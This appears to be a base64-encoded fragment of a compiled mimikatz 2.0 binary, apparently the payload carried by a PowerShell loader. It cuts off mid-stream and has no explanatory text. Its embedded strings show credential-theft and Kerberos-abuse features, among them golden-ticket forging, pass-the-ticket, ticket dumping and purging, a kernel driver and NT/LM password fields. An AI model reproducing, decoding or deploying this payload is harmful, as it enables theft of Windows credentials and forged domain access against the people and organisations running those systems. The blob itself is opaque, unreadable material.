QAAADznAIABAAAAsNoBgAEAAAA4IAKAAQAAAFTpAIABAAAAyFwCgAEAAACoXAKAAQAAAGDpAIABAAAAmFwCgAEAAAB4XAKAAQAAAEznAIABAAAAaFwCgAEAAABIXAKAAQAAANTnAIABAAAAOFwCgAEAAAAQXAKAAQAAANznAIABAAAAAFwCgAEAAADYWwKAAQAAAOjnAIABAAAAyFsCgAEAAACgWwKAAQAAAFggAoABAAAA2FwCgAEAAAAAAAAAAAAAAAcAAAAAAAAAYMIBgAEAAAAAAAAAAAAAAAAAAAAAAAAA8OYAgAEAAACgWgKAAQAAAHhaAoABAAAA2FoCgAEAAACwWgKAAQAAAAAAAAAAAAAAAQAAAAAAAABAwwGAAQAAAAAAAAAAAAAAAAAAAAAAAACo4ACAAQAAAODZAYABAAAA+NoBgAEAAADY7ACAAQAAACBVAoABAAAA+NoBgAEAAADY7ACAAQAAABBVAoABAAAA+NoBgAEAAAA4VQKAAQAAAPjaAYABAAAAAAAAAAAAAAADAAAAAAAAAJDDAYABAAAAAAAAAAAAAAAAAAAAAAAAAMTXAIABAAAAAFECgAEAAACgUAKAAQAAAPTXAIABAAAAkFACgAEAAAAgUAKAAQAAACTYAIABAAAACFACgAEAAACgTwKAAQAAAFTYAIABAAAAiE8CgAEAAAAgTwKAAQAAALzcAIABAAAACE8CgAEAAACATgKAAQAAAADfAIABAAAAcE4CgAEAAAAAAAAAAAAAADhRAoABAAAACFECgAEAAAAAAAAAAAAAAAYAAAAAAAAAEMQBgAEAAABI1gCAAQAAAIDXAIABAAAAWC8CgAEAAAA4LwKAAQAAAAAAAAAAAAAABAAAAAAAAAAQxQGAAQAAAAAAAAAAAAAAAAAAAAAAAABgqACAAQAAADAvAoABAAAAsC4CgAEAAAAYqwCAAQAAAJguAoABAAAAEC4CgAEAAAAkqwCAAQAAAPgtAoABAAAAYC0CgAEAAACAzwCAAQAAAEgtAoABAAAA0CwCgAEAAAALBgcBCAoOAAMFAg8NCQwETlRQQVNTV09SRAAAAAAAAExNUEFTU1dPUkQAAAAAAAAhQCMkJV4mKigpcXdlcnR5VUlPUEF6eGN2Ym5tUVFRUVFRUVFRUVFRKSgqQCYlAAAwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5AAAAAAAAAABUoACAAQAAAAAAAAAAAAAAICACgAEAAADAHwKAAQAAAFykAIABAAAAAAAAAAAAAAC0HwKAAQAAAHAfAoABAAAAAAAAAAAAAAALwCIAAAAAAGAfAoABAAAAUB8CgAEAAAAAAAAAAAAAAEPAIgAAAAAAWCACgAEAAAA4IAKAAQAAAOikAIABAAAAAAAAAAAAAAAwHwKAAQAAABAfAoABAAAAFKcAgAEAAAAAAAAAAAAAAPAeAoABAAAAwB4CgAEAAADwpwCAAQAAAAAAAAAAAAAAmB4CgAEAAABYHgKAAQAAAAAAAAAAAAAAg8AiAAAAAABIHgKAAQAAACgeAoABAAAAAAAAAAAAAADDwCIAAAAAABgeAoABAAAAAB4CgAEAAAAAAAAAAAAAAAPBIgAAAAAA4B0CgAEAAACgHQKAAQAAAAAAAAAAAAAAB8EiAAAAAACIHQKAAQAAAEgdAoABAAAAAAAAAAAAAAALwSIAAAAAADAdAoABAAAA+BwCgAEAAAAAAAAAAAAAAA/BIgAAAAAA4BwCgAEAAACgHAKAAQAAAAAAAAAAAAAAE8EiAAAAAACIHAKAAQAAAEgcAoABAAAAAAAAAAAAAABDwSIAAAAAADgcAoABAAAAGBwCgAEAAAAAAAAAAAAAAEfBIgAAAAAAABwCgAEAAADYGwKAAQAAADifAIABAAAA4BkCgAEAAABwGQKAAQAAAHyfAIABAAAAWBkCgAEAAAAwGQKAAQAAABAaAoABAAAA8BkCgAEAAAAAAAAAAAAAAAIAAAAAAAAAAMgBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABkiQCAAQAAACAEAoABAAAA4AMCgAEAAAC8igCAAQAAANADAoABAAAAmAMCgAEAAABoiwCAAQAAAHgDAoABAAAAOAMCgAEAAACUjwCAAQAAACgDAoABAAAA4AICgAEAAADknACAAQAAANACAoABAAAAYAICgAEAAADQngCAAQAAAFgCAoABAAAA8AECgAEAAABYBAKAAQAAADgEAoABAAAAAAAAAAAAAAAGAAAAAAAAAHDIAYABAAAACIcAgAEAAADYiACAAQAAAAAAAAAAAAAAqAECgAEAAAAAAAEAAAAAAFABAoABAAAAAAAHAAAAAAAQAQKAAQAAAAAAAgAAAAAAsAACgAEAAAAAAAgAAAAAAFAAAoABAAAAAAAJAAAAAAAAAAKAAQAAAAAABAAAAAAAyP8BgAEAAAAAAAYAAAAAAJD/AYABAAAAAAAFAAAAAAB4/wGAAQAAACD/AYABAAAA8P4BgAEAAACQ/gGAAQAAAHD+AYABAAAAIP4BgAEAAADw/QGAAQAAAJD9AYABAAAAUP0BgAEAAADw/AGAAQAAAMj8AYABAAAAcPwBgAEAAABA/AGAAQAAAMD7AYABAAAAmPsBgAEAAAAQ+wGAAQAAAOD6AYABAAAAgPoBgAEAAABY+gGAAQAAAAD6AYABAAAAyPkBgAEAAABA+QGAAQAAABD5AYABAAAAoPgBgAEAAACA+AGAAQAAAAEAAAAAAAAAYPgBgAEAAAACAAAAAAAAAEj4AYABAAAAAwAAAAAAAAAo+AGAAQAAAAQAAAAAAAAAAPgBgAEAAAAFAAAAAAAAAOj3AYABAAAABgAAAAAAAADA9wGAAQAAAAwAAAAAAAAAqPcBgAEAAAANAAAAAAAAAID3AYABAAAADgAAAAAAAABY9wGAAQAAAA8AAAAAAAAAMPcBgAEAAAAQAAAAAAAAAAj3AYABAAAAEQAAAAAAAADg9gGAAQAAABIAAAAAAAAAuPYBgAEAAAAUAAAAAAAAAKD2AYABAAAAFQAAAAAAAACA9gGAAQAAABYAAAAAAAAAWPYBgAEAAAAXAAAAAAAAADj2AYABAAAAGAAAAAAAAAAFAAAABgAAAAEAAAAIAAAABwAAAAAAAAAAAAAAAAAAAFDwAYABAAAASPABgAEAAAAo8AGAAQAAAEjwAYABAAAAEPABgAEAAAD47wGAAQAAAOjvAYABAAAA0O8BgAEAAADA7wGAAQAAAKjvAYABAAAAiO8BgAEAAAB47wGAAQAAAGDvAYABAAAASO8BgAEAAAAw7wGAAQAAABjvAYABAAAAHFgAgAEAAADw2gGAAQAAAMDaAYABAAAA6FsAgAEAAACw2gGAAQAAAJDaAYABAAAA+FkAgAEAAACI2gGAAQAAAFjaAYABAAAAQFkAgAEAAABI2gGAAQAAACjaAYABAAAAZF8AgAEAAAAY2gGAAQAAAPDZAYABAAAAMNsBgAEAAAAA2wGAAQAAAPjaAYABAAAABQAAAAAAAABAzAGAAQAAAIhXAIABAAAAzFcAgAEAAADercDeDuCwC8D/7lC6rfANXAAvADoAKgA/ACIAPAA+AHwAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAXABcAC4AXABtAGkAbQBpAGQAcgB2AAAAYQAAAAAAAAAiACUAcwAiACAAcwBlAHIAdgBpAGMAZQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAUwBlAHIAdgBpAGMAZQAgAGkAcwAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAAdgBlAHIAcwBpAG8AbgAgAGkAbgAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAAUQBXAE8AUgBEAAAAAAAAAFIARQBTAE8AVQBSAEMARQBfAFIARQBRAFUASQBSAEUATQBFAE4AVABTAF8ATABJAFMAVAAAAAAARgBVAEwATABfAFIARQBTAE8AVQBSAEMARQBfAEQARQBTAEMAUgBJAFAAVABPAFIAAAAAAAAAAABSAEUAUwBPAFUAUgBDAEUAXwBMAEkAUwBUAAAAAAAAAE0AVQBMAFQASQBfAFMAWgAAAAAAAAAAAEwASQBOAEsAAAAAAAAAAABEAFcATwBSAEQAXwBCAEkARwBfAEUATgBEAEkAQQBOAAAAAAAAAAAARABXAE8AUgBEAAAAAAAAAEIASQBOAEEAUgBZAAAAAABFAFgAUABBAE4ARABfAFMAWgAAAFMAWgAAAAAAAAAAAE4ATwBOAEUAAAAAAAAAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAAFwAeAAlADAAMgB4AAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAAAlADAAMgB4ACAAAAAAAAAAJQAwADIAeAAAAAAACgAAACUAcwAgAAAAJQBzAAAAAAAlAHcAWgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAAAAAAAAAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKAB4ADYANAApACAAcgBlAGwAZQBhAHMAZQAgACIASwBpAHcAaQAgAGUAbgAgAEMAIgAgACgATQBhAHkAIAAyADAAIAAyADAAMQA0ACAAMAA4ADoANQA2ADoANAA4ACkACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALgBnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0ALwBtAGkAbQBpAGsAYQB0AHoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAG8AZQAuAGUAbwApAAoAIAAgACcAIwAjACMAIwAjACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMwB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAEkATgBJAFQAAAAAAAAAAABDAEwARQBBAE4AAAAAAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKACUAMQA2AHMAAAAAAAAAIAAgAC0AIAAgACUAcwAAACAAIABbACUAcwBdAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAAAAAAKAE0AbwBkAHUAbABlACAAOgAJACUAcwAAAAAAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAAAAAAEtlcmJlcm9zAAAAAAAAAAB1AHMAZQByAAAAAAAAAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAGcAbwBsAGQAZQBuAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAHAAdQByAGcAZQAAAAAAAABSAGUAdAByAGkAZQB2AGUAIABjAHUAcgByAGUAbgB0ACAAVABHAFQAAAAAAAAAAAB0AGcAdAAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAbABpAHMAdAAAAAAAAAAAAFAAYQBzAHMALQB0AGgAZQAtAHQAaQBjAGsAZQB0ACAAWwBOAFQAIAA2AF0AAAAAAHAAdAB0AAAAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAAAAAAAAAAAAAFQAaQBjAGsAZQB0ACAAJwAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0ACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdABpAGMAawBlAHQAIABmAGkAbABlAG4AYQBtAGUACgAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAAAAAAAAAAAAAAKACgATgBVAEwATAAgAHMAZQBzAHMAaQBvAG4AIABrAGUAeQAgAG0AZQBhAG4AcwAgAGEAbABsAG8AdwB0AGcAdABzAGUAcwBzAGkAbwBuAGsAZQB5ACAAaQBzACAAbgBvAHQAIABzAGUAdAAgAHQAbwAgADEAKQAKAAAAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAAAAAgADsAIAAAAAAAAAAAAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAAAAAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAAAABrAGkAcgBiAGkAAAAAAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAAAAAABkAG8AbQBhAGkAbgAAAAAAcwBpAGQAAABrAHIAYgB0AGcAdAAAAAAAaQBkAAAAAABnAHIAbwB1AHAAcwAAAAAAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAAAAAAJQB1ACAAAAAKAGsAcgBiAHQAZwB0ACAAIAAgACAAOgAgAAAAAAAAAC0APgAgAFQAaQBjAGsAZQB0ACAAOgAgACUAcwAKAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAAUwBJAEQAIABzAGUAZQBtAHMAIABpAG4AdgBhAGwAaQBkACAALQAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAIAAqACAAUABBAEMAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAACAAKgAgAFAAQQBDACAAcwBpAGcAbgBlAGQACgAAAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZQBuAGMAcgB5AHAAdABlAGQACgAAACAAKgAgAEsAcgBiAEMAcgBlAGQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgBfAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AYwByAHkAcAB0ACAAJQAwADgAeAAKAAAAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAAAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAAGYAbwByAHcAYQByAGQAZQBkAAAAAAAAAHAAcgBvAHgAaQBhAGIAbABlAAAAAAAAAHAAcgBvAHgAeQAAAAAAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAAAAAAHAAbwBzAHQAZABhAHQAZQBkAAAAAAAAAGkAbgB2AGEAbABpAGQAAAByAGUAbgBlAHcAYQBiAGwAZQAAAAAAAABpAG4AaQB0AGkAYQBsAAAAcAByAGUAXwBhAHUAdABoAGUAbgB0AAAAaAB3AF8AYQB1AHQAaABlAG4AdAAAAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAAA/AAAAAAAAAG4AYQBtAGUAXwBjAGEAbgBvAG4AaQBjAGEAbABpAHoAZQAAAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAAAAAAAAoACQAgACAAIABTAGUAcgB2AGkAYwBlACAATgBhAG0AZQAgAAAAAAAKAAkAIAAgACAAVABhAHIAZwBlAHQAIABOA